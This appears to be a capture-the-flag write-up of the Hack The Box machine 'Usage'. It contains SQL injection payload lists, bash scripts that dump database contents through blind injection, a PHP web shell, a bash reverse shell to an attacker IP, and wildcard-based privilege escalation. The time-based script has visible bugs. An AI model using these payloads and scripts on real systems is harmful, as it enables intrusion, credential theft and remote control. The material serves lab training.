Hello guys! My name is Fernando, today I’m going to explain you how I solved a Hack The Box machine. This machine has helped me a lot to learn about bash scripting, as I created a script to obtain a hash by exploiting a Blind SQL Injection (time-based / boolean-based) in three different ways .We will also get a RCE thanks to the vulnerability of a service, we will obtain some credentials in a file and finally we will escalate privileges by abusing a service that we can run as root. But let’s take it step by step ^^
Reconnaissance
First, I started enumerating the open ports using Nmap tool.
nmap -sVC -Pn --min-rate 5000 10.10.11.18 -v -o Open_ports -p-
I could see that there were two ports open, 22 ssh and 80 http.
For port 22 I tried anonymous session but no luck :( , which made me focus on port 80.
On port 80 I first used wahtweb tool to get a general idea of the services that were running in the background. So let's take a look
whatweb 10.10.11.18
Looking at the output I could see that nginx was running in the background, and I could also see that the ip redirected me to a domain (usage,htb). I added it in the /etc/hosts
file and it made me think that maybe there was some subdomain, so to gather more information let's enumerate them.
For enumerating subdomains I will use ffuf tool , but it could have been done with many other tools such as wfuzz, dirsearch....
ffuf -u http://10.10.11.18 -H "Host: FUZZ.usage.htb" -w ~/tools/wordlist/subdomains-top1million-5000.txt -ac
We have found another subdomain called admin
, this subdomain I will also add it to/etc/hosts
.
10.10.11.18 usage.htb admin.usage.htb
Taking a look at the two subdomains we find in the admin subdomain one path called /index.php
in which there is a login which does not seem very interesting but perhaps it could be useful in the future. In the usage.htb domain we find several paths but I couldn't find anything interesting in any of them except in /forgot-password
, this route had a panel in case you forgot the password, let's see how it works. 🤔
/forgot-password
Let's try writting any email and see what happens.
First if we enter a test email we see that we get “Email address does not match in our records!” this makes us think that behind there is an email parameter, which a query is validating whether or not that email exists. Query should look something like this.
select user from table where email = "test@gmail.com"
Let's try the typical payloads to see if any of them validate the query
or 1=1
or 1=1--
or 1=1#
or 1=1/*
admin' --
admin' #
admin'/*
This is very tasty 🫣, it seems that if we put the typical ' or 1=1 – -
the query is validated, which makes us think that it`s vulnerable to a SQL Injection, let's see how we can get it out.
I will explain three ways in which we can try to get a SQLI in this case it will be blind because we only see as a response the message "We have e-mailed your password reset link"
1.-Burp Suite Intruder
The first way is to use Burpsuite, so the first thing I do is to take the request.
We are going to alter the email parameter, the first thing we will do is to try to get the database, for this we will use the following query.
' or substring(database(),1,1)=''-- -
For this part I will use Intruder Burptsuite tool to generate different payloads, we have to write something like this.
' or substring(database(),1,1)='§a§'-- -
As we know that our query is valid when we get the message “We have e-mailed ‘your reset password link’ we edit the ‘Grep-Mathc’ section and what we will try to see is with which character we get that message.
We start the attack and we just have to see which of all the queries has matched the previous message, in this case u
. So we know that the first character in the database is a "u"
This can be very tedious, so what I will do is to make a script that will automate all this and not only take out the database.
2.-SQL map
The following way is the one that I personally like the least, since I will use the Sqlmap tool that automates everything and tests many payloads, so it is the one you learn the least. For that reason I am only going to say which is the command that I used and I am not going to stop so much.
To retrieve the database, we intercept the request, save it in a file and write the following
sqlmap -r request.request --level 5 --risk 3 --threads 10 -p email --batch --dbs
To get the tables out of the usage_bolg database
sqlmap -r request.request --level 5 --risk 3 --threads 10 -p email --batch -D usage_blog --tables
To retrieve what is inside the admin_users table we will do the following
sqlmap -r request.request --level 5 --risk 3 --threads 10 -p email --batch -D usage_blog -T admin_users --dump
Output should look like this
3.-Bash script
This is the most fun part in my opinion, it was the part I learned the most. The first thing I wanted to automate was a bolean-based, the payloads are as follows.
Database length ---> test' or (select length(database()))=$i--+-
Datbase name ---> test ' or substring(database(),$i,1)='$character'--+-
Tables ---> test' or (select substring(group_concat(table_name),$i,1) from information_schema.tables where table_schema='usage_blog')='$character'--+-
Colums ---> test' or (select substring(group_concat(column_name),$i,1) from information_schema.columns where table_schema='$database' and table_name='$tabla_name')='$character'--+-
Information ---> test' or (select substring(group_concat($stuffs),$i,1) from $tabla_name)='$character'--+-
This scrip also automates the obtaining of the two cookies and the token.
- Bolean-based
And the final script looks like this
#!/bin/bash
#Colors
red="\e[0;31m"
white="\e[0;38m"
green="\e[0;32m"
blue="\e[0;34m"
normal="\e[0;m"
purple="\e[0;35m"
#Url
main_url="http://usage.htb/forget-password"
#Coockies
function Obtencion_de_cookie {
respuesta=$(curl -L -H $'Content-Type: application/x-www-form-urlencoded' $main_url -s -c galletas)
laravel_session_cookie=$(cat galletas | grep laravel_session| awk '$6 == "laravel_session" {print $7}')
xsrf_token_cookie=$(cat galletas |grep XSRF| awk '$6 == "XSRF-TOKEN" {print $7}')
echo -e "${red}[!]${green}Laravel session cookie: ${normal}"$laravel_session_cookie
echo -e "${red}[!]${green}xsrf_token_cookie: ${normal}"$xsrf_token_cookie
}
#Token
token=$(curl http://usage.htb/forget-password -s | grep token | grep -o 'value="[^"]*"' | awk -F'"' '{print $2}')
Obtencion_de_cookie
echo -e "${red}[!]${green}Obteniendo Longitud del nombre de la base de datos${normal}"
#Database lenght
function get_database_length {
for (( i=1; i<=20; i++ )); do
post_data="_token=$token&email=test' or (select length(database()))=$i--+-"
response=$(curl -L -H $'Content-Type: application/x-www-form-urlencoded' -b '$xxsrf_token_cookie ; $laravel_session_cookie ' --data-binary "$post_data" $main_url -s)
if [[ $response == *"We have e-mailed your password"* ]]; then
length=$i
echo -e "${red}[!]${green}Longitud del nombre de la base de datos: ${purple}$length${nomal}"
i=20
fi
done
}
get_database_length
#Diccionary
characters=(, {a..z} - _ )
#(Ctrl+C)
function def_handler {
echo -e "[!] Exit..."
exit 1
}
trap def_handler SIGINT
#Database name
function makeSQLI {
echo -e "${red}[!]${green}Iniciando Fuerza bruta..."
sleep 2
database=""
for (( i=1; i<=$length; i++ )); do
for character in "${characters[@]}"; do
post_data="_token=$token&email=test ' or substring(database(),$i,1)='$character'--+-"
response=$(curl -L -H $'Content-Type: application/x-www-form-urlencoded' -b '$xxsrf_token_cookie ; $laravel_session_cookie ' --data-binary "$post_data" $main_url -s)
echo -ne "${red}[!]${green}Base de datos encontrada:${normal}$database$character\r"
if [[ $response == *"We have e-mailed your password"* ]]; then
database+="$character"
sleep 1
break
fi
done
done
echo -e "${red}[!]${green}Finalizando búsqueda. Base de datos completa: ${purple}$database"
}
makeSQLI
#Tables
function tables {
echo -e "${red}[!]${green}Iniciando Fuerza bruta..."
sleep 2
tabla=""
for ((i=1; i<=151; i++)); do
for character in "${characters[@]}"; do
post_data="_token=$token&email=tes' or (select substring(group_concat(table_name),$i,1) from information_schema.tables where table_schema='usage_blog')='$character'-- -"
response=$(curl -L -H $'Content-Type: application/x-www-form-urlencoded' -b '$xxsrf_token_cookie ; $laravel_session_cookie ' --data-binary "$post_data" $main_url -s)
echo -ne "${red}[!]${green}Tables:${normal}$tabla$character\r"
if [[ $response == *"We have e-mailed your password"* ]]; then
tabla+="$character"
sleep 1
break
fi
done
done
echo -e "${red}[!]${green}Tablas encontradas"
IFS=','
for item in $tabla
do
echo -e "${green}\t[!]${purple}$item${normal}"
done
}
tables
#Columns
function columns {
read -p "Introduzca una tabla: " tabla_name
echo -e "${red}[!]${green}Iniciando Fuerza bruta..."
sleep 2
tabla=""
for ((i=1; i<=70; i++)); do
for character in "${characters[@]}"; do
post_data="_token=$token&email=tes' or (select substring(group_concat(column_name),$i,1) from information_schema.columns where table_schema='$database' and table_name='$tabla_name')='$character'-- -"
response=$(curl -L -H $'Content-Type: application/x-www-form-urlencoded' -b '$xxsrf_token_cookie ; $laravel_session_cookie ' --data-binary "$post_data" $main_url -s)
echo -ne "${red}[!]${green}Columna encontrada:${normal}$tabla$character\r"
if [[ $response == *"We have e-mailed your password"* ]]; then
tabla+="$character"
sleep 1
break
fi
done
done
echo -e "${red}[!]${green}Columnas encontradas"
IFS=','
for item in $tabla
do
echo -e "${green}\t[!]${purple}$item${normal}"
done
}
columns
function dates {
read -p "Introduzca las columnas separadas por comas: " stuffs
echo -e "${red}[!]${green}Iniciando Fuerza bruta..."
sleep 2
characters=(, {a..z} {A..Z} {1..9} - _ $ *)
datos=""
caracteres=""
for ((i=1; i<=300; i++)); do
for character in "${characters[@]}"; do
post_data="_token=$token&email=tes' or (select substring(group_concat($stuffs),$i,1) from $tabla_name)='$character'-- -"
response=$(curl -L -H $'Content-Type: application/x-www-form-urlencoded' -b '$xxsrf_token_cookie ; $laravel_session_cookie ' --data-binary "$post_data" $main_url -s)
echo -ne "${red}[!]${green}Caracteres encontrados:${normal}$datos$character\r"
if [[ $response == *"We have e-mailed your password"* ]]; then
datos+="$character"
sleep 1
break
fi
done
done
echo -e "${red}[!]${green}Datos encontradas"
IFS=','
for item in $datos
do
echo -e "${green}\t[!]${purple}$item${normal}"
done
}
dates
- Time-Based
Once I finished the bolean-based I thought about whether to continue with the machine but I think I was missing a great opportunity to learn something more about SQLI , so I went for a SQLI time-based, and this is how I did it.
The first thing I did was to try the typical payloads with sleep
1 or sleep(5)#
" or sleep(5)#
' or sleep(5)#
" or sleep(5)="
' or sleep(5)='
1) or sleep(5)#
") or sleep(5)="
') or sleep(5)='
1)) or sleep(5)#
")) or sleep(5)="
')) or sleep(5)='
After doing some tests, such as using only a few characters or removing the parentheses, I realized that the word “sleep” was blocking me 😡. I have been trying to bypass that word in several ways but I did not get any results 🫠. So i tried different payloads.
benchmark(10000000,MD5(1))#
1 or benchmark(10000000,MD5(1))#
" or benchmark(10000000,MD5(1))#
' or benchmark(10000000,MD5(1))-- -
1) or benchmark(10000000,MD5(1))#
") or benchmark(10000000,MD5(1))#
') or benchmark(10000000,MD5(1))#
1)) or benchmark(10000000,MD5(1))#
No matter what payloads I tried none of them gave me any delay in the response.So it was time to ask saint google ^^
After some googling I came across the following page where I found something very interesting
SELECT IF(expression, true, false)
Seeing the If command, I tried a few things until the magic happened.
As we can see the request has a small delay, now we will modify the previous script so that instead of getting the message that the email exists, it will get the response time. The payloads I will use are as follows
' or if((select length(database()))=$i,BENCHMARK(1000000000, MD5(1)),0)-- -
' or if(substring(database(),$i,1)='$character',BENCHMARK(1000000000, MD5(1)),0)-- -
' or if((select substring(group_concat(table_name),$i,1) from information_schema.tables where table_schema='usage_blog')='$character',BENCHMARK(1000000000, MD5(1)),0)-- -
' or if((select substring(group_concat(column_name),$i,1) from information_schema.columns where table_schema='$database' and table_name='$tabla_name')='$character',BENCHMARK(1000000000, MD5(1)),0)-- -
' or if((select substring(group_concat($stuffs),$i,1) from $tabla_name)='$character',BENCHMARK(1000000000, MD5(1)),0)-- -
This is the script with some changes
#!/bin/bash
#Colors
red="\e[0;31m"
white="\e[0;38m"
green="\e[0;32m"
blue="\e[0;34m"
normal="\e[0;m"
purple="\e[0;35m"
#Url
main_url="http://usage.htb/forget-password"
#Obtein the coockies
function Obtencion_de_cookie {
respuesta=$(curl -L -H $'Content-Type: application/x-www-form-urlencoded' $main_url -s -c galletas)
laravel_session_cookie=$(cat galletas | grep laravel_session| awk '$6 == "laravel_session" {print $7}')
xsrf_token_cookie=$(cat galletas |grep XSRF| awk '$6 == "XSRF-TOKEN" {print $7}')
echo -e "${red}[!]${green}Laravel session cookie: ${normal}"$laravel_session_cookie
echo -e "${red}[!]${green}xsrf_token_cookie: ${normal}"$xsrf_token_cookie
}
Obtencion_de_cookie
#Token
token=$(curl http://usage.htb/forget-password -s | grep token | grep -o 'value="[^"]*"' | awk -F'"' '{print $2}')
echo -e "${red}[!]${green}Obteniendo Longitud del nombre de la base de datos${normal}"
#Database lenght
function get_database_length {
for (( i=1; i<=20; i++ )); do
post_data="_token=$token&email=test' or if((select length(database()))=$i,BENCHMARK(1000000000, MD5(1)),0)-- -"
response=$(curl -L -H -w "time: %{time_total}s\n"$'Content-Type: application/x-www-form-urlencoded' $'Content-Type: application/x-www-form-urlencoded' -b '$xxsrf_token_cookie ; $laravel_session_cookie ' --data-binary "$post_data" $main_url -s)
if [[ $response >= 5 ]]; then
length=$i
echo -e "${red}[!]${green}Longitud del nombre de la base de datos: ${purple}$length${nomal}"
i=20
fi
done
}
get_database_length
#Diccionary
characters=(, {a..z} - _ )
#(Ctrl+C)
function def_handler {
echo -e "[!] Exit..."
exit 1
}
trap def_handler SIGINT
#Database name
function makeSQLI {
echo -e "${red}[!]${green}Iniciando Fuerza bruta..."
sleep 2
database=""
for (( i=1; i<=$length; i++ )); do
for character in "${characters[@]}"; do
post_data="_token=$token&email=test ' or if(substring(database(),$i,1)='$character',BENCHMARK(1000000000, MD5(1)),0)-- -"
response=$(curl -L -H -w "time: %{time_total}s\n"$'Content-Type: application/x-www-form-urlencoded' $'Content-Type: application/x-www-form-urlencoded' -b '$xxsrf_token_cookie ; $laravel_session_cookie ' --data-binary "$post_data" $main_url -s)
echo -ne "${red}[!]${green}Base de datos encontrada:${normal}$database$character\r"
if [[ $response >= 5 ]]; then
database+="$character"
sleep 1
break
fi
done
done
echo -e "${red}[!]${green}Finalizando búsqueda. Base de datos completa: ${purple}$database"
}
makeSQLI
#Tables
function tables {
echo -e "${red}[!]${green}Iniciando Fuerza bruta..."
sleep 2
tabla=""
for ((i=1; i<=151; i++)); do
for character in "${characters[@]}"; do
post_data="_token=$token&email=tes' or if((select substring(group_concat(table_name),$i,1) from information_schema.tables where table_schema='usage_blog')='$character',BENCHMARK(1000000000, MD5(1)),0)-- -"
response=$(curl -L -H $'Content-Type: application/x-www-form-urlencoded' -w "time: %{time_total}s\n"$'Content-Type: application/x-www-form-urlencoded'-b '$xxsrf_token_cookie ; $laravel_session_cookie ' --data-binary "$post_data" $main_url -s)
echo -ne "${red}[!]${green}Tables:${normal}$tabla$character\r"
if [[ $response >= 5 ]]; then
tabla+="$character"
sleep 1
break
fi
done
done
echo -e "${red}[!]${green}Tablas encontradas"
IFS=','
for item in $tabla
do
echo -e "${green}\t[!]${purple}$item${normal}"
done
}
tables
#Columns
function columns {
read -p "Introduzca una tabla: " tabla_name
echo -e "${red}[!]${green}Iniciando Fuerza bruta..."
sleep 2
tabla=""
for ((i=1; i<=70; i++)); do
for character in "${characters[@]}"; do
post_data="_token=$token&email=tes' or or if((select substring(group_concat(column_name),$i,1) from information_schema.columns where table_schema='$database' and table_name='$tabla_name')='$character',BENCHMARK(1000000000, MD5(1)),0)-- -"
response=$(curl -L -H -w "time: %{time_total}s\n"$'Content-Type: application/x-www-form-urlencoded' -b '$xxsrf_token_cookie ; $laravel_session_cookie ' --data-binary "$post_data" $main_url -s)
echo -ne "${red}[!]${green}Columna encontrada:${normal}$tabla$character\r"
if [[ $response >= 5 ]]; then
tabla+="$character"
sleep 1
break
fi
done
done
echo -e "${red}[!]${green}Columnas encontradas"
IFS=','
for item in $tabla
do
echo -e "${green}\t[!]${purple}$item${normal}"
done
}
columns
function dates {
read -p "Introduzca las columnas separadas por comas: " stuffs
echo -e "${red}[!]${green}Iniciando Fuerza bruta..."
sleep 2
characters=(, {a..z} {A..Z} {1..9} - _ $ *)
datos=""
caracteres=""
for ((i=1; i<=300; i++)); do
for character in "${characters[@]}"; do
post_data="_token=$token&email=test' or or if((select substring(group_concat($stuffs),$i,1) from $tabla_name)='$character',BENCHMARK(1000000000, MD5(1)),0)-- -"
response=$(curl -L -H -w "time: %{time_total}s\n"$'Content-Type: application/x-www-form-urlencoded' $'Content-Type: application/x-www-form-urlencoded' -b '$xxsrf_token_cookie ; $laravel_session_cookie ' --data-binary "$post_data" $main_url -s)
echo -ne "${red}[!]${green}Caracteres encontrados:${normal}$datos$character\r"
if [[ $response >= 5 ]]; then
datos+="$character"
sleep 1
break
fi
done
done
echo -e "${red}[!]${green}Datos encontradas"
IFS=','
for item in $datos
do
echo -e "${green}\t[!]${purple}$item${normal}"
done
}
dates
And the final output looks like this
Once the scripts are finished, let's continue with the machine.
Shell as Dash
Let's crack the credentials we have from SQLI
$2y$10$ohq2kLpBH/ri.P5wR0P3UOmc24Ydvl9DA9H1S6ooOMgH5xVfUPrL2
Looking in the hash dictionary we found the 3200 which looks quite similar to the one we have, so we used hashcat.
hashcat hash ~/tools/wordlist/rockyou.txt -m 3200
We found it! Lets go to admin.usage.htb
to the login panel admin:whatever1
As we have a version lets search on google and see what can we found. After a lot of searching I came to the following post https://flyd.uk/post/cve-2023-24249/
So lets try it. First we will create the typical payload
<?php system($_REQUEST['cmd']); ?>
I will try to edit the admin avatar whit my .php
file
So I will to intercept the request and lets see if we can change something. But first i will change the name to test.php.jpg.
I will change this
I will make one change in the parameter filename
.
filename='test.php.jpg'
filename='test.php'
Now click on the download icon that takes us to the path of the avatar picture, and finally we have RCE.
Lets make our reverse shell, in this case I will use pestmokey cheat sheet. we also have to set a listening port.
bash -c 'bash -i >%26 /dev/tcp/10.10.16.5/443 0>%261'
nc -nvlp 1234
And we have it
So now we can read the user flag in /home/dash/
directory
Now lets enumerate the directories a little bit , we can make an ls -la
in home directory to enumerate hidden files.
Wikipedia says
Monit is a free, open-source process supervision tool for Unix and Linux. With Monit, system status can be viewed directly from the command line, or via the native HTTP(S) web server. Monit is able to do automatic maintenance, repair, and run meaningful causal actions in error situations.
So lets take a look at the files; monit.id, monit.pid and monit.state dont have anything useful but .monitrc
It looks like a password, if we go back we can see some users
So lets try to connect via ssh using user xander
and password 3nc0d3d_pa$$w0rd
ssh xander@ip
xander@10.10.11.18's password: 3nc0d3d_pa$$w0rd
And it works
Lets go for root, so I will transfer linpeas to my victim machine via http.server
But it doesn't show me nothing interesting so I will enumerate manually , lest start with SUID perms.
None of them caught my attention, so I will see if I can execute something like root.
We can run /usr/bin/usage_management
as root , I am going to see what its this
It seems to be an executable, let's run it and see what happens.
I tried the three options that the program had but none seemed to help me, I tried using default credentials after resetting the password. So let's continue collecting information about the service with the strings
command.
In this script there is something that catches my attention, and it is the wildcard (*)
in the tar command
This kind of wildcards are always dangerous, so what we will do is to look in our bible, Hack Tricks, and see what we find.
We read section 7z and transfer it to our particular case
It will look something like this
Now we have ssh key but , we have to edit it to remove the final part of each line and give it the 600 permission so that we can use it in the ssh
command with the -i
argument
ssh -i id_rsa root@usage.htb
And its pwned, root flag is in /root/
directory.